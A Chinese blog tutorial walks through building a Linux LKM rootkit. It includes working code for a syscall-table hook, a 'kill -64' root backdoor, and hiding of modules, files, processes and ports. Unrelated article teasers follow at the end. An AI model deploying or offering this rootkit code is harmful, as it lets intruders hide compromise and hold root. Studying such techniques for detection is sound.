一个基于 LKM 的 Linux 内核级 rootkit 的实现

news/2024/4/27 1:36:10/文章来源:https://blog.csdn.net/weixin_43864567/article/details/129242455

博客已迁移至:https://gls.show/

GitHub链接

演示Slides

overview

rootkit是一种恶意软件,攻击者可以在获得 root 或管理员权限后安装它,从而隐藏入侵并保持root权限访问。rootkit可以是用户级的,也可以是内核级的。关于rootkit的详细介绍可以参考https://en.wikipedia.org/wiki/rootkit

有许多技术可以实现rootkit,本项目使用的是通过编写LKM(Linux kernel module)并hook系统调用表的方式。这种方式具有诸多优点,比如rootkit作为内核模块可以动态的加载和卸载,大多数rootkit也都是通过LKM的方式实现的

LKM

一个简单的LKM示例

// header file// module infostatic int __init example_init(void)
{printk(KERN_INFO "Hello, World!\n");return 0;
}static void __exit example_exit(void)
{printk(KERN_INFO "Goodbye, World!\n");
}module_init(example_init);
module_exit(example_exit);

在完成了对应Makefile的编写之后,使用make命令可以编译出ko文件(kernel object),使用insmod rootkit.ko命令可以安装内核模块,使用rmmod rootkit可以卸载rootkit模块,使用dmesg命令可以打印程序中printk的信息

hook系统调用

用户进程通过系统调用使用内核服务。系统调用会进入内核,让内核执行服务然后返回,关于系统调用的更多信息,可以使用man -k syscall获取。如下图所示,hook可以劫持正常的系统调用,让内核执行我们自行设计的函数,从而实现我们自己想要的功能

hook

比如,当用户使用ls命令列出该目录下所有文件的时候,本质上是使用了getdents64系统调用,如果我们将getdents64地址替换为我们自己构造的函数hook_getdents64 ,即可劫持系统调用流程。因此,只要我们分析清楚了某一个shell命令底层所执行的系统调用,并成功对其进行hook,那么就可以成功实现rootkit的种种目的

strace 命令可以对系统调用进行跟踪,这可以帮助我们分析命令的函数调用链

$ strace -c ls
% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------0.00    0.000000           0         8           read0.00    0.000000           0         1           write0.00    0.000000           0        13           close0.00    0.000000           0        12           fstat0.00    0.000000           0        32           mmap0.00    0.000000           0         9           mprotect0.00    0.000000           0         2           munmap0.00    0.000000           0         3           brk0.00    0.000000           0         2           rt_sigaction0.00    0.000000           0         1           rt_sigprocmask0.00    0.000000           0         2           ioctl0.00    0.000000           0         8           pread640.00    0.000000           0         2         1 access0.00    0.000000           0         1           execve0.00    0.000000           0         1           readlink0.00    0.000000           0         2         2 statfs0.00    0.000000           0         2         1 arch_prctl0.00    0.000000           0         2           getdents640.00    0.000000           0         1           set_tid_address0.00    0.000000           0        11           openat0.00    0.000000           0         1           set_robust_list0.00    0.000000           0         1           prlimit64
------ ----------- ----------- --------- --------- ----------------
100.00    0.000000                   117         4 total

回到hook系统调用这个事情上来,内核中有一张系统调用表,存放了所有的系统调用的地址,我们需要找到这张表的地址,才能对系统调用“偷梁换柱”——将原本的syscall的地址替换为我们自己实现的syscall地址。也可以将系统调用表看做是一个数组,系统调用号为其索引,不同的系统调用号对应着不同的系统调用。需要小心的是,相同的系统调用函数,对于不同的架构,调用号是不同的。这个页面列出了 Linux 支持的架构的所有系统调用

查找系统调用表的地址有很多方法,比如:

  • 使用kallsyms
  • 使用ftrace
  • 暴力枚举

注意,由于rootkit与系统内核版本是强相关的,所以对于不同的内核,查找系统调用表的方式也不同,比如有的版本的内核无法使用kallsyms得到系统调用表地址,那么就可以考虑使用ftrace

使用kallsyms:

//函数声明,real_sys_openat是真实的sys_openat函数
static asmlinkage long (*real_sys_openat)(const struct pt_regs *);//函数声明,hook_sys_openat我们自己实现的sys_openat函数
asmlinkage long hook_sys_openat(const struct pt_regs *);//获取系统调用表地址
real_sys_call_table = (void *)kallsyms_lookup_name("sys_call_table");//保存原来的kill函数的地址,最后需要恢复原状
real_sys_openat = (void *)real_sys_call_table[__NR_openat];// 关闭写保护
disable_wp();//将真实的sys_openat函数地址映射到我们自己写的openat函数地址处,偷梁换柱
real_sys_call_table[__NR_openat] = (void *)my_sys_openat;// 恢复现场,打开写保护
enable_wp();

使用ftrace:

//在头文件中写上hook数组
struct ftrace_hook hooks[] = {HOOK("__x64_sys_mkdir", hook_mkdir, &orig_mkdir),HOOK("__x64_sys_getdents", hook_getdents, &orig_getdents)};//在模块初始化时执行hook安装
fh_install_hooks(hooks, ARRAY_SIZE(hooks));//在模块卸载化时执行hook卸载
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));

在某些内核版本中,/proc/kallsyms文件存储了系统调用吧和系统调用的地址信息,我们可以使用命令行获取:

cat /proc/kallsyms | grep xxx

同样的,对于不同的内核,系统调用函数的声明不同,这是一个对比:

// 旧
int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);// 新
asmlinkage long sys_getdents(unsigned int fd,struct linux_dirent __user *dirent,unsigned int count);

asmlinkage是一个宏,告诉编译器在 CPU 堆栈上查找函数参数,而不是寄存器。众所周知,用户态程序调用syscall的时候,会下陷到内核态,此时会保存 CPU 堆栈中的所有寄存器(eax、ebx、ecx 等)。因此,从用户空间传递到内核空间的有关参数的信息都被保存在堆栈中,这也即是使用asmlinkage的原因

对于新的系统调用,存储在寄存器中的参数会先被复制到pt_regs结构体中,因此当我们编写hook函数的时候,需要先从这个结构体中获取对应的参数值

//函数声明,hook_sys_openat我们自己实现的sys_openat函数
asmlinkage long hook_sys_openat(const struct pt_regs *);

此外由于内核空间和用户空间是隔离的,地址的映射并不互通,因此需要使用copy_to_usercopy_from_user进行数据的传输

提权

  • cred是一个记录进程credentials信息的结构体,具体定义在cred.c头文件中

  • prepare_creds()返回当前进程的cred结构

  • commit_creds()将这个cred应用于当前进程,因此我们只需要对cred结构体进行修改即可实现提权

void get_root(void)
{struct cred *newcreds;newcreds = prepare_creds();if (newcreds == NULL)return;newcreds->uid.val = newcreds->gid.val = 0;newcreds->euid.val = newcreds->egid.val = 0;newcreds->suid.val = newcreds->sgid.val = 0;newcreds->fsuid.val = newcreds->fsgid.val = 0;commit_creds(newcreds);
}

hook kill实现提权,当我们在shell中输入kill -64 <num>的时候会将shell提权到root,可以使用id命令验证这一点

asmlinkage long hook_kill(const struct pt_regs *regs)
{pid_t pid = regs->di;int sig = regs->si;if (sig == 64){printk(KERN_INFO " get_root ");get_root();}return orig_kill(regs);
}

模块隐藏

lsmod命令可以列出已安装的内核模块,rmmod可以删除。模块隐藏也即是让lsmod命令无法输出我们的模块

内核使用module结构体存储模块信息,可以看到module封装了list双向链表,下面的源码可以在module.h中找到

struct module {enum module_state state;/* Member of list of modules */struct list_head list;// ... and so on 
}

为了隐藏模块,我们只需把对应rootkit模块的list从全局链表中删除即可。内核已经替我们实现了list_del和list_add函数,它们被封装在list.h头文件中,我们调用即可。在下面的代码中,THIS_MODULE宏指向当前模块的module struct

值得注意的是,为了恢复节点,我们需要临时保存节点的信息

static void hide_myself(void) {  list_del(&THIS_MODULE->list);  }static void show_myself(void) {  list_add(&THIS_MODULE->list, module_prev); }static inline void module_info(void) {   module_prev = THIS_MODULE->list.prev;  }

文件隐藏

ls命令可以打印出文件,为了深入研究ls做了什么,可以使用strace命令进行追踪。strace具有许多有趣的选项,比如-c可以打印出统计表格, -p可以追踪某一进程,等等

一通分析后可以发现ls命令调用了getdents64 syscall(实际上有些较新的内核版本仍然会调用getdents函数而不是较新的getdents64,这个后面还会提到),该函数可以得到目录的entry,并返回读取的字节数。我们可以通过对该函数进行hook从而达到隐藏文件的目的

下面是hook_getdents64函数的设计,省略了一些报错处理和别的细节

// 声明原本的getdents64函数
static asmlinkage long (*orig_getdents64)(const struct pt_regs *);
// 声明我们设计的hook_getdents64函数
asmlinkage long hook_getdents64(const struct pt_regs *);
// ssize_t getdents64(int fd, void *dirp, size_t count);
asmlinkage int hook_getdents64(const struct pt_regs *regs)
{//获取寄存器中的内容struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;//遍历,对希望隐藏的文件进行处理while (tlen > 0){len = current_dir->d_reclen;tlen = tlen - len;if (check_file(current_dir->d_name))//覆盖操作{ret = ret - len;memmove(current_dir, (char *)current_dir + current_dir->d_reclen, tlen);}elsecurrent_dir = (struct linux_dirent64 *)((char *)current_dir + current_dir->d_reclen);}//返回正常调用的结果return orig_getdents64(regs);
}

为了设计出上面的代码我们需要详细理解linux_dirent结构体和linux_dirent64结构体,它们分别对应getdents函数和getdents64函数,后者是为了处理更大的文件系统和偏移而设计的,细节如下:

struct linux_dirent {unsigned long  d_ino;     /* Inode number */unsigned long  d_off;     /* Offset to next linux_dirent */unsigned short d_reclen;  /* Length of this linux_dirent */char           d_name[];  /* Filename (null-terminated) *//* length is actually (d_reclen - 2 -offsetof(struct linux_dirent, d_name)) *//*char           pad;       // Zero padding bytechar           d_type;    // File type (only since Linux// 2.6.4); offset is (d_reclen - 1)*/}struct linux_dirent64 {ino64_t        d_ino;    /* 64-bit inode number */off64_t        d_off;    /* 64-bit offset to next structure */unsigned short d_reclen; /* Size of this dirent */unsigned char  d_type;   /* File type */char           d_name[]; /* Filename (null-terminated) */};

对于getdents函数的hook,与getdents64函数的hook有一些不同,这里暂且略去

进程隐藏

linux内核维护了task_struct和pid两个链表,分布记录了进程的task_struct结构和pid结构

想要查看当前是否有rootkit进程有两个常规操作:

  • 遍历task_struct链表
  • 遍历/proc/pid中所有进程

要想隐藏进程,就要考虑将rootkit相关的task struct和pid都摘除列表,即要从下面两点出发:

  • 脱离 task_struct 链表

  • 脱离 pid 链表

那么首先看下linux中使用的相关的结构

struct pid
{refcount_t count;unsigned int level;// lists of tasks that use this pid struct hlist_head tasks[PIDTYPE_MAX];// wait queue for pidfd notifications wait_queue_head_t wait_pidfd;struct rcu_head rcu;struct upid numbers[1];
};struct task_struct {......struct pid			*thread_pid;struct hlist_node		pid_links[PIDTYPE_MAX];//找task struct中的对应的pid hlist_nodestruct list_head		thread_group;struct list_head		thread_node;......#endif // #ifdef CONFIG_TASKS_RCU struct sched_info		sched_info;struct list_head		tasks; list_head 通过list_head将当前进程的task_struct串联进内核的进程列表中.....}struct list_head {
struct list_head *next, *prev;
};struct hlist_node {struct hlist_node *next;struct hlist_node **pprev;//需要注意的是pprev是指针的指针,它指向的是前一个节点的next指针;其中首元素的pprev指向链表头的fist字段,末元素的next为NULL. 
};

相关的函数

struct task_struct *pid_task(struct pid *pid, enum pid_type type) //用于根据pid和其类型找到对应的task_struct
find_vpid()//用于根据nr也就是namespace下的局部pid找到对应的struct pid结构体
//使用的链表操作相关的函数
list_add()//增加结点
list_del()//删除结点
hlist_add_head_rcu()//增加结点
list_add_tail_rcu()  //增加结点
list_del_rcu()//删除结点
hlist_del_rcu()//删除结点
INIT_HLIST_NODE()//初始化链表结点
INIT_LIST_HEAD()//初始化链表头
list_for_each_entry_safe()//相当于遍历整个双向循环链表,遍历时会存下下一个节点的数据结构,方便对当前项进行删除
//内存操作
kmalloc()//申请内存存储hide_node结构
kfree()//释放hide_node结构占用的内存

自定义的数据结构

//进程隐藏的存储链表
static struct list_head hide_list_header=LIST_HEAD_INIT(hide_list_header);
//进程隐藏的存储结点
struct hide_node{pid_t pid_victim_t;struct task_struct* task_use_t;struct list_head hide_list_header_t;
};

使用的函数

int hide_pid_fn(pid_t pid_victim);//隐藏进程
int recover_pid_fn(pid_t pid_victim);//恢复隐藏的进程
int recover_pid_all();//恢复所有进程

大致的流程:

hide_pid_fn(pid_t pid_victim);
  • 根据pid用find_vpid()找到对应的pid结构体

  • 成功找到pid结构体后利用pid_task()找到对应的task struct

  • 利用链表操作函数hlist_del_rcu对task struct 结点进行脱链,并用INIT_HLIST_NODE设置task struct 的前后指针

  • 然后根据task struct 找到对应的pid 的结点,利用hlist_del_rcu进行脱链,INIT_HLIST_NODE设置其指针为空,并将pprev指向自身。

此时进程已经成功摘除链表被隐藏,但是需要记录对应结构,方便之后恢复

  • 用kmalloc申请一个hide_node类型结点的空间,设置对应的pid号和task struct指针,并通过list_head将其增加到hide_list_header 链表上进行记录

到此完成隐藏进程功能,并未后面恢复做准备

recover_pid_fn(pid_t pid_victim);
  • 通过list_for_each_entry_safe来遍历hide_list_header链表,直到找到和pid对应的hide_node的进程。然后利用hlist_add_head_rcu将pid链入对应的pid链表,利用list_add_tail_rcu将task链入对应的task struct链表
recover_pid_all(void);
  • 这里同样通过list_for_each_entry_safe来遍历hide_list_header链表
  • 针对其中的每一个隐藏的进程,利用hlist_add_head_rcu将pid链入对应的pid链表,利用list_add_tail_rcu将task链入对应的task struct链表

端口隐藏

端口隐藏即隐藏已经被使用的端口,在linux中查看已经使用的端口有两个命令,一个是netstat,一个是ss,两个命令调用的系统调用不同,因此实际隐藏的过程也不同

  • netstat在读取端口信息时会读取以下四个文件(对应的网络协议为tcp、udp、tcp6、udp6):/proc/net/tcp、/proc/net/udp、/proc/net/tcp6/、/proc/net/udp6
  • 这几个文件都是序列文件,即seq_file,seq_file定义的结构体如下
struct seq_file {char *buf; //缓冲区size_t size;size_t from;size_t count; //缓冲区长度size_t pad_until;loff_t index;loff_t read_pos;u64 version;struct mutex lock;const struct seq_operations *op;  // importantint poll_event;const struct file *file;void *private;
};

seq_operations定义的结构体为

struct seq_operations {void * (*start) (struct seq_file *m, loff_t *pos);void (*stop) (struct seq_file *m, void *v);void * (*next) (struct seq_file *m, void *v, loff_t *pos);int (*show) (struct seq_file *m, void *v);
};

seq_operations的show函数即为netstat要输出的信息,我们只需要将该函数的 hook掉,在hook之前需要先保存show函数的地址,对应的函数为set_seq_opeartions

void set_seq_operations(const char* open_path,struct seq_operations** operations); // open_path是打开的序列文件,operations是要保存的show函数的真实地址

我们在全局变量中声明了一个链表,变量名为hidden_port_list_head,它的作用为存储需要被隐藏的端口的信息,当想隐藏端口时,调用hide_connect函数,它的定义为

void hide_connect(int type, int port)

其中type为网络类型(tcp/udp/tcp6/udp6),port为端口号,该函数会将需要隐藏的端口添加到链表上。

    node = kmalloc(sizeof(struct port_node), GFP_KERNEL);node->port = port;node->type = type;// 向链表中添加节点list_add_tail(&node->list, &hidden_port_list_head);

当不想隐藏该端口时,使用hide_unconnect函数将该节点从链表中删除

void unhide_connect(int type, int port){list_for_each_entry_safe(entry, next_entry, &hidden_port_list_head, list){if (entry->port == port && entry->type == type){pr_info("Unhiding: %d", port);list_del(&entry->list); // 将要隐藏的节点从链表中删除kfree(entry);return;}}
}

隐藏端口的链表会在我们定义的hook函数中用到

首先要让定义的hook函数的参数与需要被hook的函数参数相同

int fake_seq_show(struct seq_file *seq, void *v)

hook函数首先判断网络类型,之后调用原show函数,如下

    if (seq->op == tcp_operations){type = TCP_CONNECT;//调用原有的tcp show函数ret = tcp_seq_fun(seq,v);}else if (seq->op == udp_operations){type = UDP_CONNECT;ret = udp_seq_fun(seq,v);}else if (seq->op == tcp6_operations){type = TCP6_CONNECT;ret = tcp6_seq_fun(seq,v);}else if (seq->op == udp6_operations){type = UDP6_CONNECT;ret = udp6_seq_fun(seq,v);}

show函数会将需要展示的端口信息放在seq->buf中,而seq->count记录了buf的缓冲区长度,代码的逻辑为判断新增的缓冲区的字符串是否和想要的隐藏的端口信息相同,如下

    // 对hidden_port_list_head遍历list_for_each_entry(node, &hidden_port_list_head, list){if (type == node->type){// seq->buf为缓冲区,snprintf先按照缓冲区格式声明一个port_str_bufsnprintf(port_str_buf, PORT_STR_LEN, ":%04X", node->port);// 之后将缓冲区的新增字符串和port_str_buf进行对比判断是否要过滤端口if (strnstr(seq->buf + last_len, port_str_buf, this_len)){pr_info("Hiding port: %d", node->port);seq->count = last_len;break;}}}

功能测试

模块编译、安装、卸载:

sudo make sudo insmod rootkit.kosudo rmmod rootkit

提权:

idkill -64 1id

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pHc5LlWF-1677481929582)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E6%8F%90%E6%9D%83.png)]

模块隐藏与恢复

echo hidemodule >/dev/null
echo showmodule >/dev/null

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V9gONVmG-1677481746533)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E6%A8%A1%E5%9D%97%E9%9A%90%E8%97%8F%26%E6%81%A2%E5%A4%8D.png)]

进程隐藏与恢复

echo hideprocess [PID] >/dev/null
echo showprocess [PID] >/dev/null

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sy4m1fCs-1677481746533)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E8%BF%9B%E7%A8%8B%E9%9A%90%E8%97%8F%26%E6%81%A2%E5%A4%8D.png)]

文件隐藏与恢复

echo hidefile [filename] >/dev/null
echo showfile [filename] >/dev/null

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GCGlA3Pe-1677481746534)(https://github.com/LaPhilosophie/hello-rootkit/blob/main/image/%E6%96%87%E4%BB%B6%E9%9A%90%E8%97%8F&%E6%81%A2%E5%A4%8D.png?raw=true)]

端口隐藏与恢复

echo hideport [port] >/dev/null
echo showport [port] >/dev/null

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2f1Dn8VW-1677481746534)(https://raw.githubusercontent.com/LaPhilosophie/hello-rootkit/main/image/%E7%AB%AF%E5%8F%A3%E9%9A%90%E8%97%8F%26%E6%81%A2%E5%A4%8D.png)]

参考资料

  • (nearly) Complete Linux Loadable Kernel Modules
  • awesome-linux-rootkits
  • 简易 Linux rootkit 编写入门指北
  • Reptile
  • Sample rootkit for Linux
  • 【rootkit 系列研究】rootkit 检测技术发展现状
  • https://github.com/plusls/rootkit
  • https://github.com/TangentHuang/ucas-rootkit
  • https://xcellerator.github.io/posts/linux_rootkits_07/
  • https://github.com/torvalds/linux/tree/325d0eab4f31c6240b59d5b2b8042c88f59405b5/fs
  • https://docs-conquer-the-universe.readthedocs.io/zh_CN/latest/linux_rootkit/fundamentals.html
  • https://github.com/vkobel/linux-syscall-hook-rootkit
  • https://linux.die.net/man/2/getdents64

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_74695.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android 实现菜单拖拽排序

效果图简介本文主角是ItemTouchHelper。它是RecyclerView对于item交互处理的一个「辅助类」&#xff0c;主要用于拖拽以及滑动处理。以接口实现的方式&#xff0c;达到配置简单、逻辑解耦、职责分明的效果&#xff0c;并且支持所有的布局方式。功能拆解功能实现4.1、实现接口自…

ARM的工作模式和37个寄存器

一、ARM的工作模式 ARM一共有7种工作模式 模式含义User非特权模式&#xff0c;大部分任务执行在这种模式FIQ当一个高优先级&#xff08;fast) 中断产生时将会进入这种模式IRQ当一个低优先级&#xff08;normal) 中断产生时将会进入这种模式Supervisor当复位或软中断指令执行时…

CISP注册信息安全专业人员证书

一、什么是“CISP”&#xff1f; 注册信息安全专业人员(Certified Information Security Professional&#xff0c;简称“CISP”)&#xff0c;是安全行业最为权威的安全资格认证&#xff0c;由中国信息安全测评中心统一授权组织&#xff0c;中国信息安全测评中心授权培训机构进…

GMP洁净净化车间布局建设|喜格净化设计建设

GMP洁净净化车间布局建设方案应该根据具体的生产流程、工艺要求和产品特点进行设计。以下喜格SICOLAB基本的设计原则和注意事项&#xff1a;&#xff08;1&#xff09;设计洁净度级别&#xff1a;根据产品特点和生产工艺要求&#xff0c;确定洁净度级别&#xff0c;一般分为100…

OpenCV 图像轮廓检测

本文是OpenCV图像视觉入门之路的第15篇文章&#xff0c;本文详细的介绍了图像轮廓检测的各种操作&#xff0c;例如&#xff1a;轮廓检索模式、轮廓逼近算子等操作。 图像轮廓是具有相同颜色或灰度的连续点的曲线&#xff0c;轮廓在形状分析和物体的检测和识别中很有用。图像轮廓…

2023年鞋服配饰行业如何玩转全域经营?

2023年&#xff0c;鞋服配饰行业私域已进入深水区&#xff0c;这就对私域运营提出了更高的挑战和目标&#xff0c;企业纷纷发力以私域为基石、以消费者为核心的全域经营。 不过&#xff0c;虽然鞋服配饰行业私域起步早&#xff0c;玩法多。但在迈向全域经营的过程中&#xff0…

IntelliJ插件开发教程之新建项目

JetBrains公司系列产品IDEA、WebStrom、PyCharm、CLion、GoLand等都是基于IntelliJ Platform开发而成&#xff0c;掌握IntelliJ插件开发技能便能拥有提升开发效率的终极武器。本教程Demo源码请微信公众号“开发效率”进行获取。阅读原文如果您是JetBrains产品的用户&#xff0c…

【打卡】图分析与节点嵌入

背景介绍 图&#xff08;Graphs&#xff09;是一种对物体&#xff08;objects&#xff09;和他们之间的关系&#xff08;relationships&#xff09;建模的数据结构&#xff0c;物体以结点&#xff08;nodes&#xff09;表示&#xff0c;关系以边&#xff08;edges&#xff09;…

【数电基础】——数制和码制

目录 1.概述 1.信号&#xff08;电路&#xff09;的功能 2.信号的分类&#xff1a; 3.数字信号的输入和输出的逻辑关系表示方法 2.数制 1.十进制&#xff08;D/d&#xff09; 2.二进制(B/b) 3.八进制&#xff08;O/o&#xff09; 4.十六进制&#xff08;H/h&#xff09;…

腾讯TIM实现即时通信 v3+ts实践

目录 初始化sdk 功能描述 初始化 准备 SDKAppID 调用初始化接口 监听事件 发送消息 创建消息 创建文本消息 登录登出 功能描述 登录 登出 销毁 登录设置 获取会话列表 功能描述 获取会话列表 获取全量的会话列表 历史消息 功能描述 拉取消息列表 分页拉取…

C++ Primer Plus 第6版 读书笔记(2)第2章 开始学习 C++

C是在 C 语言基础上开发的一种集面向对象编程、泛型编程和过程化编程于一体的编程语言&#xff0c;是C语言的超集。本书是根据2003年的ISO/ANSI C标准编写的&#xff0c;通过大量短小精悍的程序详细而全面地阐述了 C的基本概念和技术&#xff0c;并专辟一章介绍了C11新增的功能…

Telnet 基础实验2: SSH 实验

Telnet 基础实验2&#xff1a; SSH 实验 本实验只能使用 eNSP中 AR 系统的路由器做 拓扑图 SSH &#xff1a; Secure Shell 是一个网络安全协议&#xff0c;基本于 TCP 协议 22 端口传输数据&#xff0c;通过对网络数据的加密&#xff0c;使其能够在一个不安全的网络环境中&a…

浅析Tomcat架构上的Valve内存马(内存马系列篇十一)

写在前面 这篇也是在Tomcat容器上面构造的内存马(收回之前说的不搞Tomcat了)&#xff0c;这是建立在Tomcat的管道上面做文章的一个内存马的实现方式。这是内存马系列的第十一篇文章了。 前置 什么是Pipeline-Valve管道&#xff1f; 根据前面Tomcat架构的相关知识&#xff0…

Java中的this与super关键字深度解析

一、this关键字this 关键字是 Java 常用的关键字&#xff0c;可用于任何实例方法内指向当前对象&#xff0c;也可指向对其调用当前方法的对象&#xff0c;或者在需要当前类型对象引用时使用。&#xff08;1&#xff09;this.属性名this修饰的变量用于指代成员变量方法的形参如果…

3 决策树及Python实现

1 主要思想 1.1 数据 1.2 训练和使用模型 训练&#xff1a;建立模型&#xff08;树&#xff09; 测试&#xff1a;使用模型&#xff08;树&#xff09; Weka演示ID3&#xff08;终端用户模式&#xff09; 双击weka.jar选择Explorer载入weather.arff选择trees–>ID3构建树…

SVIP优先办理服务-课后程序(JAVA基础案例教程-黑马程序员编著-第八章-课后作业)

【案例8-2】 Svip优先办理服务 【案例介绍】 1.任务描述 在日常工作生活中&#xff0c;无论哪个行业都会设置一些Svip用户&#xff0c;Svip用户具有超级优先权&#xff0c;在办理业务时&#xff0c;Svip用户具有最大的优先级。 本案例要求编写一个模拟Svip优先办理业务的程…

newbing的注册使用

newbing是一款全新的智能搜索引擎&#xff0c;它可以帮助你快速、准确地找到你想要的信息&#xff0c;还可以与你进行友好、有趣的对话。newbing不仅拥有强大的搜索功能&#xff0c;还具备创造性和逻辑性&#xff0c;可以为你生成诗歌、故事、代码、歌词等各种内容。newbing还可…

【Spring从成神到升仙系列 一】2023年再不会动态代理,就要被淘汰了

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小黄&#xff0c;独角兽企业的Java开发工程师&#xff0c;CSDN博客专家&#xff0c;阿里云专家博主&#x1f4d5;系列专栏&#xff1a;Java设计模式、数据结构和算法、Kafka从入门到成神、Kafka从成神到升仙…

浅析 Redis 主从同步与故障转移原理

我们在生产中使用 Redis&#xff0c;如果只部署一个 Redis 实例&#xff0c;当该实例宕机&#xff0c;到恢复之前都不可用&#xff1b;虽说 Redis 一般都用来做缓存&#xff0c;但不可用给业务系统带来的影响也是不小的&#xff0c;流量大时甚至会导致整个服务宕机。所以 Redis…

芯驰(E3-gateway)开发板环境搭建

1-Windows下环境配置 可以在Windows上使用命令行或者IAR IDE编译SSDK项目。Windows编译依赖的工具已经包含在 prebuilts/windows 目录中&#xff0c;包括编译器、Python和命令行工具。 1.1.1 CMD SSDK集成 msys 工具&#xff0c;可以在Windows命令行中完成SDK的配置、编译和…